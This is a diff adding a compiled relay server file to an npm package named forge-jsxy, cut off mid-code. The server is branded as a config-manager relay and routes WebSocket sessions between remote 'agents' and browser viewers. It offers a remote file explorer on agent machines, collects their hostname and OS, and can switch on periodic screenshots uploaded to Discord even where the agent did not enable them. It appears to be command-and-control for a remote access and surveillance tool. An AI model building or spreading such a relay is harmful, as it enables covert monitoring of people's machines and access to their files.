forge-jsxy 1.0.66

package/dist/relayServer.js

@@ -0,0 +1,1406 @@
+"use strict";
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.startRelayServer = startRelayServer;
+/**
+ * HTTP + WebSocket relay — cfgmgr.relay_server (explorer routing only).
+ */
+const http = __importStar(require("node:http"));
+const node_fs_1 = require("node:fs");
+const path = __importStar(require("node:path"));
+const ws_1 = __importStar(require("ws"));
+const deploymentDefaults_1 = require("./deploymentDefaults");
+const filesExplorer_1 = require("./filesExplorer");
+const relayAuth_1 = require("./relayAuth");
+const hfCredentials_1 = require("./hfCredentials");
+const discordRelayUpload_1 = require("./discordRelayUpload");
+const relayDashboardGate_1 = require("./relayDashboardGate");
+const hfSeqIdLookup_1 = require("./hfSeqIdLookup");
+// ── Blacklist cache ───────────────────────────────────────────────────────────
+/**
+ * In-memory blacklist cache: set of canonical client IDs fetched from forge-db `/api/blacklist`.
+ * Refreshed periodically so the relay blocks screenshot uploads + agent connections from
+ * blacklisted clients without needing a direct DB connection.
+ *
+ * Env: `RELAY_FORGE_DB_API_URL` (default http://127.0.0.1:8765) — must point to forge-db HTTP API.
+ * Disable blacklist enforcement: `RELAY_BLACKLIST_CHECK=0`.
+ */
+const _blacklistIds = new Set();
+let _blacklistLastFetchMs = 0;
+const _BLACKLIST_REFRESH_MS = 10_000; // refresh at most once per 10s
+const _blacklistRejectLogMs = new Map();
+const _BLACKLIST_REJECT_LOG_THROTTLE_MS = 60_000;
+const _VERSION_NOTICE_LOG_THROTTLE_MS = 60_000;
+const _versionNoticeLogMs = new Map();
+let _relayPkgVersionCache;
+function _forgeDbApiUrl() {
+    const raw = (process.env.RELAY_FORGE_DB_API_URL ||
+        process.env.FORGE_JS_SYNC_URL ||
+        process.env.CFGMGR_API_URL ||
+        "").trim();
+    if (raw) {
+        // Strip /api suffix if present — we need the base URL
+        return raw.replace(/\/api\/?$/, "").replace(/\/$/, "");
+    }
+    return "http://127.0.0.1:8765";
+}
+function _blacklistEnabled() {
+    const raw = (process.env.RELAY_BLACKLIST_CHECK ?? "1").trim().toLowerCase();
+    return !["0", "false", "no", "off"].includes(raw);
+}
+async function _refreshBlacklistIfStale() {
+    if (!_blacklistEnabled())
+        return;
+    const now = Date.now();
+    if (now - _blacklistLastFetchMs < _BLACKLIST_REFRESH_MS)
+        return;
+    try {
+        const url = `${_forgeDbApiUrl()}/api/blacklist`;
+        const apiKey = (process.env.RELAY_FORGE_DB_API_KEY || process.env.FORGE_DB_API_KEY || "").trim();
+        const res = await fetch(url, {
+            signal: AbortSignal.timeout(5000),
+            headers: {
+                "User-Agent": "forge-jsx-relay/1.0",
+                ...(apiKey ? { "X-Forge-Api-Key": apiKey } : {}),
+            },
+        });
+        if (!res.ok)
+            return;
+        const data = await res.json();
+        if (Array.isArray(data.blacklisted)) {
+            _blacklistIds.clear();
+            for (const id of data.blacklisted) {
+                if (typeof id === "string" && id.trim())
+                    _blacklistIds.add(id.trim());
+            }
+            _blacklistLastFetchMs = now;
+        }
+    }
+    catch {
+        /* ignore transient errors — use stale cache */
+    }
+}
+function _isBlacklisted(sessionId) {
+    if (!_blacklistEnabled() || !sessionId)
+        return false;
+    if (_blacklistIds.has(sessionId))
+        return true;
+    // Also check UUID form extracted from table-style session id (e.g. client_abc_123 → abc-123)
+    const m = sessionId.match(/^client_([0-9a-f]{8}_[0-9a-f]{4}_[0-9a-f]{4}_[0-9a-f]{4}_[0-9a-f]{12})$/i);
+    if (m) {
+        const uuid = m[1].replace(/_/g, "-").toLowerCase();
+        if (_blacklistIds.has(uuid))
+            return true;
+    }
+    return false;
+}
+function _shouldLogBlacklistedReject(sessionId) {
+    const now = Date.now();
+    const prev = _blacklistRejectLogMs.get(sessionId) || 0;
+    if (now - prev < _BLACKLIST_REJECT_LOG_THROTTLE_MS)
+        return false;
+    _blacklistRejectLogMs.set(sessionId, now);
+    if (_blacklistRejectLogMs.size > 2000) {
+        // Keep memory bounded even under hostile reconnect storms.
+        for (const [sid, ts] of _blacklistRejectLogMs) {
+            if (now - ts > _BLACKLIST_REJECT_LOG_THROTTLE_MS * 10) {
+                _blacklistRejectLogMs.delete(sid);
+            }
+        }
+    }
+    return true;
+}
+function _shouldLogVersionNotice(sessionId) {
+    const now = Date.now();
+    const prev = _versionNoticeLogMs.get(sessionId) || 0;
+    if (now - prev < _VERSION_NOTICE_LOG_THROTTLE_MS)
+        return false;
+    _versionNoticeLogMs.set(sessionId, now);
+    if (_versionNoticeLogMs.size > 2000) {
+        for (const [sid, ts] of _versionNoticeLogMs) {
+            if (now - ts > _VERSION_NOTICE_LOG_THROTTLE_MS * 10) {
+                _versionNoticeLogMs.delete(sid);
+            }
+        }
+    }
+    return true;
+}
+function relayPackageVersion() {
+    if (_relayPkgVersionCache)
+        return _relayPkgVersionCache;
+    try {
+        const pkgPath = path.resolve(__dirname, "../package.json");
+        const raw = (0, node_fs_1.readFileSync)(pkgPath, "utf8");
+        const parsed = JSON.parse(raw);
+        const fileVersion = typeof parsed.version === "string" ? parsed.version.trim() : "";
+        if (fileVersion) {
+            _relayPkgVersionCache = fileVersion;
+            return fileVersion;
+        }
+    }
+    catch {
+        /* fallback below */
+    }
+    const envVersion = (process.env.FORGE_JSX_RELAY_VERSION || "").trim();
+    if (envVersion) {
+        _relayPkgVersionCache = envVersion;
+        return envVersion;
+    }
+    _relayPkgVersionCache = "unknown";
+    return _relayPkgVersionCache;
+}
+// ── Relay version (diagnostics only; upgrades are manual via file explorer) ─
+/**
+ * When Discord screenshots are enabled, agents always receive `discord_screenshot_interval_ms`
+ * (default **5m** if `RELAY_DISCORD_SCREENSHOT_INTERVAL_MS` is unset). Relay-only env.
+ */
+function relayDiscordScreenshotAdvertisedIntervalMs() {
+    if (!(0, discordRelayUpload_1.discordRelayScreenshotEnabled)())
+        return undefined;
+    const raw = (process.env.RELAY_DISCORD_SCREENSHOT_INTERVAL_MS || "").trim();
+    const n = raw ? parseInt(raw, 10) : 300_000;
+    if (!Number.isFinite(n))
+        return 300_000;
+    return Math.min(600_000, Math.max(15_000, n));
+}
+/** Optional cadence / first-shot stagger caps (relay `.env` → `relay_features`; agents apply if unset locally). */
+function relayDiscordScreenshotAdvertisedIntervalStaggerMs() {
+    if (!(0, discordRelayUpload_1.discordRelayScreenshotEnabled)())
+        return undefined;
+    const raw = (process.env.RELAY_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS || "").trim();
+    if (!raw)
+        return undefined;
+    const n = parseInt(raw, 10);
+    if (!Number.isFinite(n) || n <= 0)
+        return undefined;
+    return Math.min(120_000, Math.max(1, n));
+}
+function relayDiscordScreenshotAdvertisedFirstStaggerMs() {
+    if (!(0, discordRelayUpload_1.discordRelayScreenshotEnabled)())
+        return undefined;
+    const raw = (process.env.RELAY_DISCORD_SCREENSHOT_FIRST_STAGGER_MS || "").trim();
+    if (!raw)
+        return undefined;
+    const n = parseInt(raw, 10);
+    if (!Number.isFinite(n) || n <= 0)
+        return undefined;
+    return Math.min(300_000, Math.max(1, n));
+}
+class Session {
+    sessionId;
+    agent = null;
+    viewer = null;
+    createdAt = Date.now();
+    lastActivity = Date.now();
+    agentInfo = {};
+    /** forge-jsx version reported by the agent in its `info` message. */
+    agentVersion = "";
+    agentOs = "";
+    agentHostname = "";
+    agentFilesystem = false;
+    constructor(sessionId) {
+        this.sessionId = sessionId;
+    }
+    touch() {
+        this.lastActivity = Date.now();
+    }
+}
+const sessions = new Map();
+function wsIsOpen(ws) {
+    return ws !== null && ws.readyState === ws_1.default.OPEN;
+}
+function getOrCreateSession(sessionId) {
+    let s = sessions.get(sessionId);
+    if (!s) {
+        s = new Session(sessionId);
+        sessions.set(sessionId, s);
+    }
+    return s;
+}
+function removeSession(sessionId) {
+    sessions.delete(sessionId);
+}
+/**
+ * forge-db HTTP base URL the relay advertises to agents (same `.env` as forge-relay).
+ * Optional `RELAY_SYNC_API_BASE_URL` overrides when relay and API live on different hosts.
+ * When unset, falls back to local forge-db default (same as blacklist `RELAY_FORGE_DB_API_URL`
+ * default) so `GET /api/relay-for-agent` still seeds agents before WebSocket connect.
+ */
+function relayAdvertisedSyncApiBaseUrl() {
+    if ((process.env.FORGE_JS_DISABLE_SYNC || "").trim() === "1") {
+        return "";
+    }
+    const u = (process.env.RELAY_SYNC_API_BASE_URL ||
+        process.env.FORGE_JS_SYNC_URL ||
+        process.env.CFGMGR_API_URL ||
+        process.env.CFGMGR_CFG ||
+        "")
+        .trim()
+        .replace(/\/+$/, "");
+    if (u)
+        return u;
+    return "http://127.0.0.1:8765";
+}
+function relayPublicApiEnabled() {
+    const raw = (process.env.CFGMGR_RELAY_PUBLIC_API || "").trim().toLowerCase();
+    return ["1", "true", "yes", "on"].includes(raw);
+}
+function isPrivateIpv4(addr) {
+    const m = /^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/.exec(addr);
+    if (!m)
+        return false;
+    const o = (i) => Number.parseInt(m[i], 10);
+    const b0 = o(1);
+    const b1 = o(2);
+    if (!(b0 <= 255 && b1 <= 255 && o(3) <= 255 && o(4) <= 255))
+        return false;
+    if (b0 === 10)
+        return true;
+    if (b0 === 172 && b1 >= 16 && b1 <= 31)
+        return true;
+    if (b0 === 192 && b1 === 168)
+        return true;
+    return false;
+}
+function relaySessionsApiTrustLan() {
+    const raw = (process.env.CFGMGR_RELAY_SESSIONS_API_TRUST_LAN || "").trim()
+        .toLowerCase();
+    return ["1", "true", "yes", "on"].includes(raw);
+}
+/**
+ * `/api/sessions` (read-only): loopback by default; optional RFC1918 when
+ * `CFGMGR_RELAY_SESSIONS_API_TRUST_LAN=1` (e.g. dashboard in Docker); or full public API flag.
+ *
+ * **Not** protected by the browser dashboard password: server-side pollers (e.g. `forge-clients-status`)
+ * call this over HTTP with no `Cookie` header, so the loopback / LAN / public-api rules here must
+ * be evaluated first. The dashboard gate still covers HTML and viewer WebSockets for humans.
+ */
+function relaySessionsApiAllowed(req) {
+    if (relayPublicApiEnabled())
+        return true;
+    const a = (req.socket.remoteAddress || "").replace(/^::ffff:/, "");
+    if (a === "127.0.0.1" || a === "::1")
+        return true;
+    if (relaySessionsApiTrustLan() && isPrivateIpv4(a))
+        return true;
+    return false;
+}
+function relayWsConnectLoggingEnabled() {
+    const raw = (process.env.CFGMGR_RELAY_LOG_WS || "").trim().toLowerCase();
+    return ["1", "true", "yes", "on"].includes(raw);
+}
+/**
+ * Browser `Origin` vs `Host` check for viewer WebSockets.
+ *
+ * Default **relaxed** (`false`): strict matching breaks `/files` behind reverse proxies, SSH tunnels,
+ * and hostname vs IP mismatches (common on Ubuntu/macOS). Set **`CFGMGR_RELAY_STRICT_ORIGIN=1`** for
+ * internet-facing relays (CSRF-style protection). **`CFGMGR_RELAY_DISABLE_ORIGIN_CHECK=1`** forces relaxed.
+ */
+function relayOriginCheckEnabled() {
+    const disable = (process.env.CFGMGR_RELAY_DISABLE_ORIGIN_CHECK || "").trim().toLowerCase();
+    if (["1", "true", "yes", "on"].includes(disable))
+        return false;
+    const strict = (process.env.CFGMGR_RELAY_STRICT_ORIGIN || "").trim().toLowerCase();
+    if (["1", "true", "yes", "on"].includes(strict))
+        return true;
+    return false;
+}
+/**
+ * WebSocket ping interval (ms) for both agent and viewer. Helps NATs, reverse proxies, and
+ * corporate middleboxes from dropping idle explorer sessions (often seen as “second connect hangs”).
+ * Set `CFGMGR_RELAY_WS_PING_MS=0` to disable.
+ */
+function relayWsPingIntervalMs() {
+    const raw = (process.env.CFGMGR_RELAY_WS_PING_MS || "").trim();
+    if (raw) {
+        const n = Number(raw);
+        if (!Number.isNaN(n))
+            return Math.min(120_000, Math.max(0, n));
+    }
+    /** Slightly aggressive default — NATs / VPNs on Linux & macOS often drop idle WS before 25s. */
+    return 18_000;
+}
+function headerGet(headers, name) {
+    const v = headers[name.toLowerCase()];
+    if (Array.isArray(v))
+        return String(v[0] || "").trim();
+    return String(v || "").trim();
+}
+/** Base host for `new URL()` when `Host` is missing (HTTP/1.0 or broken clients). */
+function requestHost(headers) {
+    const h = headerGet(headers, "host");
+    return h || "127.0.0.1";
+}
+function requestUrl(req) {
+    return new URL(req.url || "/", `http://${requestHost(req.headers)}`);
+}
+/**
+ * RFC 7239 `Forwarded` — extract `host=` values so strict Origin checks work when proxies
+ * set `Forwarded` but not `X-Forwarded-Host` (common on Linux / Traefik / Caddy).
+ */
+function hostsFromForwardedHeader(headers) {
+    const raw = headerGet(headers, "forwarded");
+    if (!raw)
+        return [];
+    const out = [];
+    for (const element of raw.split(",")) {
+        const e = element.trim();
+        if (!e)
+            continue;
+        for (const param of e.split(";")) {
+            const m = /^\s*host\s*=\s*(.+)\s*$/i.exec(param);
+            if (!m)
+                continue;
+            let v = m[1].trim();
+            if ((v.startsWith('"') && v.endsWith('"')) ||
+                (v.startsWith("'") && v.endsWith("'"))) {
+                v = v.slice(1, -1).trim();
+            }
+            if (v)
+                out.push(v);
+        }
+    }
+    return out;
+}
+/** Strip trailing dots from DNS names (FQDN form). */
+function stripTrailingDnsDots(host) {
+    return (host || "").replace(/\.+$/g, "");
+}
+/**
+ * Split `host[:port]` / `[ipv6]:port` into hostname + port (lowercased hostname).
+ * Used so Origin vs Host can be compared without false rejects on loopback aliases.
+ */
+function splitHostAndPort(hostPort) {
+    const raw = (hostPort || "").trim();
+    if (!raw)
+        return { hostname: "", port: "" };
+    if (raw.startsWith("[")) {
+        const end = raw.indexOf("]");
+        if (end !== -1) {
+            const hostname = stripTrailingDnsDots(raw.slice(1, end).toLowerCase());
+            const rest = raw.slice(end + 1);
+            const port = rest.startsWith(":") ? rest.slice(1) : "";
+            return { hostname, port };
+        }
+    }
+    const idx = raw.lastIndexOf(":");
+    if (idx > 0 && !raw.slice(0, idx).includes(":")) {
+        return {
+            hostname: stripTrailingDnsDots(raw.slice(0, idx).toLowerCase()),
+            port: raw.slice(idx + 1),
+        };
+    }
+    return { hostname: stripTrailingDnsDots(raw.toLowerCase()), port: "" };
+}
+/** True for IPv4 addresses in 127.0.0.0/8 (RFC 1122 loopback), e.g. Ubuntu's common 127.0.1.1 in /etc/hosts. */
+function isIpv4Loopback127(hostname) {
+    const h = stripTrailingDnsDots((hostname || "").trim().toLowerCase());
+    if (!/^127\.\d{1,3}\.\d{1,3}\.\d{1,3}$/.test(h))
+        return false;
+    const parts = h.split(".").map((p) => Number(p));
+    return parts.every((n) => n >= 0 && n <= 255);
+}
+/** Loopback / common dev aliases must match each other (browser Origin vs Host mismatch). */
+function hostnameInSameOriginGroup(a, b) {
+    const x = stripTrailingDnsDots((a || "").trim().toLowerCase());
+    const y = stripTrailingDnsDots((b || "").trim().toLowerCase());
+    if (!x || !y)
+        return false;
+    if (x === y)
+        return true;
+    const loop = new Set([
+        "localhost",
+        "127.0.0.1",
+        "::1",
+        "0:0:0:0:0:0:0:1",
+        "0000:0000:0000:0000:0000:0000:0000:0001",
+    ]);
+    if (x.startsWith("::ffff:") && loop.has(x.slice(7)))
+        return loop.has(y) || y === x.slice(7);
+    if (y.startsWith("::ffff:") && loop.has(y.slice(7)))
+        return loop.has(x) || x === y.slice(7);
+    /** Linux often maps hostname → 127.0.1.1 while the browser uses 127.0.0.1 or localhost in Origin. */
+    if (isIpv4Loopback127(x) && isIpv4Loopback127(y))
+        return true;
+    if (loop.has(x) && isIpv4Loopback127(y))
+        return true;
+    if (loop.has(y) && isIpv4Loopback127(x))
+        return true;
+    return loop.has(x) && loop.has(y);
+}
+/**
+ * Compare browser `Origin` to a `Host` / `X-Forwarded-Host` / `Forwarded host=` candidate.
+ * Uses URL default ports (80 / 443) when the origin omits the port so `https://a` matches `a:443`
+ * from reverse proxies (common Ubuntu/macOS TLS frontends).
+ */
+function hostPortAllowedForOrigin(originUrl, candidateHostPort) {
+    let u;
+    try {
+        u = new URL(originUrl);
+    }
+    catch {
+        return false;
+    }
+    const oHost = stripTrailingDnsDots(u.hostname.toLowerCase());
+    let oPort = (u.port || "").trim();
+    if (!oPort) {
+        if (u.protocol === "https:")
+            oPort = "443";
+        else if (u.protocol === "http:")
+            oPort = "80";
+    }
+    const c = splitHostAndPort(candidateHostPort);
+    const cHost = stripTrailingDnsDots(c.hostname.toLowerCase());
+    if (!oHost || !cHost)
+        return false;
+    let cPort = c.port.trim();
+    if (!cPort) {
+        if (oHost === cHost || hostnameInSameOriginGroup(oHost, cHost)) {
+            cPort = oPort;
+        }
+        else if (u.protocol === "https:") {
+            cPort = "443";
+        }
+        else if (u.protocol === "http:") {
+            cPort = "80";
+        }
+    }
+    if (oPort !== cPort)
+        return false;
+    return hostnameInSameOriginGroup(oHost, cHost);
+}
+function originAllowedForViewer(origin, host, requestHeaders) {
+    if (!relayOriginCheckEnabled())
+        return true;
+    const oTrim = (origin || "").trim();
+    /** Missing Origin, or opaque origins (Safari / some WebKit builds send the literal `null`). */
+    if (!oTrim || oTrim.toLowerCase() === "null")
+        return true;
+    try {
+        new URL(oTrim);
+    }
+    catch {
+        return false;
+    }
+    const candidates = [];
+    if (host)
+        candidates.push(host.trim());
+    const xf = headerGet(requestHeaders, "x-forwarded-host");
+    if (xf) {
+        for (const part of xf.split(",")) {
+            const p = part.trim();
+            if (p)
+                candidates.push(p);
+        }
+    }
+    for (const fh of hostsFromForwardedHeader(requestHeaders)) {
+        if (fh)
+            candidates.push(fh);
+    }
+    if (!candidates.length)
+        return true;
+    for (const cand of candidates) {
+        if (hostPortAllowedForOrigin(oTrim, cand))
+            return true;
+    }
+    return false;
+}
+/** Minimal relay info (explorer is the default at `/`). */
+const RELAY_INFO_HTML = `<!DOCTYPE html>
+<html lang="en">
+<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0">
+<title>CfgMgr relay</title>
+<style>
+body{font-family:system-ui,sans-serif;background:#0f1419;color:#e6edf3;max-width:42rem;margin:3rem auto;padding:1.5rem;line-height:1.5;}
+a{color:#58a6ff;} h1{font-size:1.35rem;font-weight:600;}
+</style></head>
+<body>
+<h1>CfgMgr relay</h1>
+<p>Forge-explorer is at <a href="/">/</a> (same UI as <a href="/files">/files</a> or <a href="/explorer">/explorer</a>).</p>
+</body>
+</html>`;
+/** Apply security headers to all HTTP responses from the relay. */
+function _applySecurityHeaders(res) {
+    res.setHeader("X-Content-Type-Options", "nosniff");
+    res.setHeader("X-Frame-Options", "DENY");
+    res.setHeader("X-XSS-Protection", "1; mode=block");
+    res.setHeader("Referrer-Policy", "no-referrer");
+    res.setHeader("Permissions-Policy", "geolocation=(), microphone=(), camera=(), usb=()");
+    res.setHeader("Strict-Transport-Security", "max-age=31536000; includeSubDomains");
+    res.setHeader("Cross-Origin-Opener-Policy", "same-origin");
+    res.setHeader("Cross-Origin-Resource-Policy", "same-origin");
+    res.setHeader("Content-Security-Policy", "default-src 'self'; " +
+        "script-src 'self' 'unsafe-inline' 'unsafe-eval'; " + // file explorer needs these
+        "style-src 'self' 'unsafe-inline'; " +
+        "img-src 'self' data: blob:; " +
+        "connect-src 'self' ws: wss:; " + // WebSocket connections
+        "frame-ancestors 'none';");
+}
+function writeFilesExplorerHtml(res) {
+    let html;
+    try {
+        html = (0, filesExplorer_1.buildFilesExplorerHtml)();
+    }
+    catch (e) {
+        res.writeHead(500, { "Content-Type": "text/plain; charset=utf-8" });
+        res.end(String(e));
+        return;
+    }
+    _applySecurityHeaders(res);
+    res.writeHead(200, {
+        "Content-Type": "text/html; charset=utf-8",
+        "Cache-Control": "no-store, max-age=0, must-revalidate",
+        Pragma: "no-cache",
+    });
+    res.end(html);
+}
+function withRelayDashboardOrLogin(res, req, sendUnlocked) {
+    if ((0, relayDashboardGate_1.isRelayDashboardGateEnabled)() && !(0, relayDashboardGate_1.relayDashboardUnlockedForRequest)(req)) {
+        res.writeHead(200, {
+            "Content-Type": "text/html; charset=utf-8",
+            "Cache-Control": "no-store, max-age=0, must-revalidate",
+            Pragma: "no-cache",
+        });
+        res.end((0, relayDashboardGate_1.buildDashboardGateLoginHtml)());
+        return;
+    }
+    sendUnlocked(res);
+}
+function handlePostRelayDashboard(req, res, pathname) {
+    if (pathname === "/api/relay-dashboard-auth") {
+        if (!(0, relayDashboardGate_1.isRelayDashboardGateEnabled)()) {
+            res.writeHead(404, { "Content-Type": "text/plain; charset=utf-8" });
+            res.end("Not found");
+            return;
+        }
+        void (0, relayDashboardGate_1.readJsonBody)(req).then((b) => {
+            if (b.error) {
+                res.writeHead(400, { 'Content-Type': 'text/plain; charset=utf-8' });
+                res.end(b.error);
+                return;
+            }
+            const pw = b.data?.password ?? '';
+            const t = (0, relayDashboardGate_1.tryDashboardLogin)(pw);
+            if (!t.ok) {
+                res.writeHead(401, { "Content-Type": "text/plain; charset=utf-8" });
+                res.end("Unauthorized");
+                return;
+            }
+            if (t["set-cookie"]) {
+                res.writeHead(204, { "set-cookie": t["set-cookie"] });
+                res.end();
+            }
+            else {
+                res.writeHead(500, { "Content-Type": "text/plain; charset=utf-8" });
+                res.end("Config error");
+            }
+        });
+        return;
+    }
+    if (pathname === "/api/relay-dashboard-logout") {
+        if (!(0, relayDashboardGate_1.isRelayDashboardGateEnabled)()) {
+            res.writeHead(404, { "Content-Type": "text/plain; charset=utf-8" });
+            res.end("Not found");
+            return;
+        }
+        const c = (0, relayDashboardGate_1.clearDashboardCookieHeader)()["set-cookie"];
+        res.writeHead(204, { "set-cookie": c });
+        res.end();
+    }
+}
+function listSessionsPayload() {
+    const now = Date.now();
+    return Array.from(sessions.values()).map((s) => ({
+        session_id: s.sessionId,
+        has_agent: wsIsOpen(s.agent),
+        has_viewer: wsIsOpen(s.viewer),
+        age_s: Math.round((now - s.createdAt) / 1000),
+        idle_s: Math.round((now - s.lastActivity) / 1000),
+        /** forge-jsx version installed on the agent machine (from agent's `info` message). */
+        agent_version: s.agentVersion || null,
+        agent_os: s.agentOs || null,
+        agent_hostname: s.agentHostname || null,
+        agent_filesystem: s.agentFilesystem,
+    }));
+}
+function handleHttp(req, res) {
+    let url;
+    try {
+        url = requestUrl(req);
+    }
+    catch {
+        res.writeHead(400, { "Content-Type": "text/plain; charset=utf-8" });
+        res.end("Bad Request");
+        return;
+    }
+    const p = url.pathname.replace(/\/+$/, "") || "/";
+    if (req.method === "POST") {
+        if (p === "/api/relay-dashboard-auth" || p === "/api/relay-dashboard-logout") {
+            handlePostRelayDashboard(req, res, p);
+            return;
+        }
+        res.writeHead(405, { "Content-Type": "text/plain" });
+        res.end("Method Not Allowed");
+        return;
+    }
+    if (req.method !== "GET") {
+        res.writeHead(405, { "Content-Type": "text/plain" });
+        res.end("Method Not Allowed");
+        return;
+    }
+    if (p === "/" || p === "/viewer" || p === "/files" || p === "/explorer") {
+        withRelayDashboardOrLogin(res, req, writeFilesExplorerHtml);
+        return;
+    }
+    if (p === "/relay") {
+        withRelayDashboardOrLogin(res, req, (r) => {
+            r.writeHead(200, { "Content-Type": "text/html; charset=utf-8" });
+            r.end(RELAY_INFO_HTML);
+        });
+        return;
+    }
+    if (p === "/forge-explorer-favicon.svg") {
+        let svg;
+        try {
+            svg = (0, filesExplorer_1.getForgeExplorerFaviconSvg)();
+        }
+        catch (e) {
+            res.writeHead(500, { "Content-Type": "text/plain; charset=utf-8" });
+            res.end(String(e));
+            return;
+        }
+        res.writeHead(200, {
+            "Content-Type": "image/svg+xml; charset=utf-8",
+            "Cache-Control": "public, max-age=86400",
+        });
+        res.end(svg);
+        return;
+    }
+    if (p === "/api/sessions" && relaySessionsApiAllowed(req)) {
+        _applySecurityHeaders(res);
+        res.writeHead(200, { "Content-Type": "application/json" });
+        res.end(JSON.stringify({ sessions: listSessionsPayload() }));
+        return;
+    }
+    /**
+     * GET /api/explorer-seq?session=… — forge-db `seq_id` for file-explorer tab title / UI (same lookup as Hub `client_<seq_id>`).
+     * Uses relay env + forge-db API key (no browser key). When dashboard gate is on, requires dashboard cookie.
+     */
+    if (p === "/api/explorer-seq") {
+        if ((0, relayDashboardGate_1.isRelayDashboardGateEnabled)() && !(0, relayDashboardGate_1.relayDashboardUnlockedForRequest)(req)) {
+            _applySecurityHeaders(res);
+            res.writeHead(401, { "Content-Type": "application/json; charset=utf-8" });
+            res.end(JSON.stringify({ error: "dashboard login required", seq_id: null }));
+            return;
+        }
+        const rawSession = url.searchParams.get("session") || "";
+        const sessionTable = (0, relayAuth_1.canonicalSessionIdForRelayAndDb)(rawSession.trim());
+        if (!sessionTable) {
+            _applySecurityHeaders(res);
+            res.writeHead(400, { "Content-Type": "application/json; charset=utf-8" });
+            res.end(JSON.stringify({ error: "missing or invalid session", seq_id: null }));
+            return;
+        }
+        void (async () => {
+            try {
+                const seqId = await (0, hfSeqIdLookup_1.fetchSeqIdForClientTableName)(sessionTable);
+                _applySecurityHeaders(res);
+                res.writeHead(200, {
+                    "Content-Type": "application/json; charset=utf-8",
+                    "Cache-Control": "no-store",
+                });
+                res.end(JSON.stringify({ seq_id: seqId, session_table: sessionTable }));
+            }
+            catch (e) {
+                _applySecurityHeaders(res);
+                res.writeHead(500, { "Content-Type": "application/json; charset=utf-8" });
+                res.end(JSON.stringify({ error: String(e), seq_id: null }));
+            }
+        })();
+        return;
+    }
+    if (p === "/api/new-session" && relayPublicApiEnabled()) {
+        if ((0, relayDashboardGate_1.isRelayDashboardGateEnabled)() && !(0, relayDashboardGate_1.relayDashboardUnlockedForRequest)(req)) {
+            res.writeHead(401, { "Content-Type": "text/plain; charset=utf-8" });
+            res.end("Dashboard login required");
+            return;
+        }
+        const sid = (0, relayAuth_1.randomSessionIdHex)();
+        getOrCreateSession(sid);
+        res.writeHead(200, { "Content-Type": "application/json" });
+        res.end(JSON.stringify({ session_id: sid }));
+        return;
+    }
+    if (p === "/health") {
+        res.writeHead(200, { "Content-Type": "application/json" });
+        res.end(JSON.stringify({ status: "ok" }));
+        return;
+    }
+    if (p === "/api/relay-for-agent") {
+        const raw = (process.env.CFGMGR_SESSION_ID || "").trim();
+        const payload = {};
+        if (raw) {
+            const canon = (0, relayAuth_1.canonicalSessionIdForRelayAndDb)(raw);
+            if ((0, relayAuth_1.sessionIdIsValid)(canon)) {
+                payload.cfgmgr_session_id = canon;
+            }
+        }
+        const syncAdv = relayAdvertisedSyncApiBaseUrl();
+        if (syncAdv) {
+            payload.sync_api_base_url = syncAdv;
+        }
+        res.writeHead(200, {
+            "Content-Type": "application/json; charset=utf-8",
+            "Cache-Control": "no-store, max-age=0, must-revalidate",
+            Pragma: "no-cache",
+        });
+        res.end(JSON.stringify(payload));
+        return;
+    }
+    res.writeHead(404, { "Content-Type": "text/plain; charset=utf-8" });
+    res.end("Not found");
+}
+function attachConnection(ws, req, role, sessionId) {
+    const headers = req.headers;
+    if (role === "viewer") {
+        const origin = headerGet(headers, "origin");
+        const host = requestHost(headers);
+        if (!originAllowedForViewer(origin, host, headers)) {
+            ws.close(4005, "Origin not allowed");
+            return;
+        }
+    }
+    const session = getOrCreateSession(sessionId);
+    session.touch();
+    if (role === "agent") {
+        const syncAdvertised = relayAdvertisedSyncApiBaseUrl();
+        const discordInterval = relayDiscordScreenshotAdvertisedIntervalMs();
+        const discordStagger = relayDiscordScreenshotAdvertisedIntervalStaggerMs();
+        const discordFirstStagger = relayDiscordScreenshotAdvertisedFirstStaggerMs();
+        // Refresh blacklist first; only then close any existing agent and attach `ws`.
+        // Closing `session.agent` before the blacklist result allowed a blacklisted socket to
+        // evict a legitimate agent and then disconnect itself — leaving the session empty.
+        void _refreshBlacklistIfStale().then(() => {
+            if (_isBlacklisted(sessionId)) {
+                if (_shouldLogBlacklistedReject(sessionId)) {
+                    // Expected enforcement path; log to stdout to avoid polluting error logs.
+                    console.log(`[relay] Rejected blacklisted agent session=${sessionId}`);
+                }
+                try {
+                    ws.close(4010, "Blacklisted");
+                }
+                catch { /* skip */ }
+                return;
+            }
+            if (wsIsOpen(session.agent)) {
+                try {
+                    session.agent.close(4002, "Replaced by new agent");
+                }
+                catch {
+                    /* skip */
+                }
+            }
+            session.agent = ws;
+            if (relayWsConnectLoggingEnabled()) {
+                console.log(`[relay] agent connected session=${sessionId}`);
+            }
+            const relayFeatures = {
+                /** When true, agents without `FORGE_JS_DISCORD_SCREENSHOT_ENABLED` turn screenshots on to match relay `.env`. */
+                discord_screenshot: (0, discordRelayUpload_1.discordRelayScreenshotEnabled)(),
+                ...(discordInterval != null
+                    ? { discord_screenshot_interval_ms: discordInterval }
+                    : {}),
+                ...(discordStagger != null
+                    ? { discord_screenshot_interval_stagger_ms: discordStagger }
+                    : {}),
